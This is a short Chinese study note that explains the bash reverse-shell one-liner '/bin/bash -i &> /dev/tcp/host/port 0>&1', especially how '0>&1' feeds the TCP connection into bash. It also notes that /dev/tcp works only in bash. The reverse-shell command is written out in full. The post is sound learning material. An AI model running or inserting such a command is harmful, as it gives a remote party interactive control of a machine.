今天在学习反弹 shell,遇到一个经典的构造:

/bin/bash -i &> /dev/tcp/host/port 0>&1 

对语句最后的 0>&1 我百思不得其解,为什么标准输入重定向到标准输出,攻击端输入的指定就到本机来了呢?标准输入指的是本机键盘输入吗?键盘输入重定向到屏幕不应该就是默认的吗?这里有什么作用?

网上查了很多文章,都没有讲清楚,最后看到菜鸟教程的一句话,终于搞懂了。

默认情况下,command > file 将 stdout 重定向到 file,command < file 将 stdin 重定向到 file 。

stdout 重定向到 file 好理解,command 的执行结果原本应该输出到屏幕,但将 stdout 重定向到 file 后执行结果就写入 file 中。后面一句才是关键,stdin 重定向到 file,我原本理解的重定向就是数据的去向定位到某个地方,但重定向对于输入是不一样的意思。重定向到 file 不是指键盘输入内容写到 file 中,而是输入的来源重定向到 file,就是从 file 中读数据。

0>&1 就好理解了,标准输入重定向到标准输出,就是输入的数据来源是输出。此时要把/bin/bash -i &> /dev/tcp/host/port 看成一个整体,这个整体的输入入口就是 bash 的输入,输出就是 tcp 连接的输出,所以 0>&1 就是把 tcp 连接的输出作为 bash 的输入来源。

其它要注意的:/dev/tcp/host/port 不是一个真实存在的文件,用 ls 是看不到的,而且是 bash 专属功能,用 zsh 、 sh 都不行。像 kali 默认是 zsh 的情况,需要用 chsh -s 命令换成 bash 环境,需要重启 shell 。

chsh -s /usr/bin/bash
订阅评论
提醒
guest

0 评论
内联反馈
查看所有评论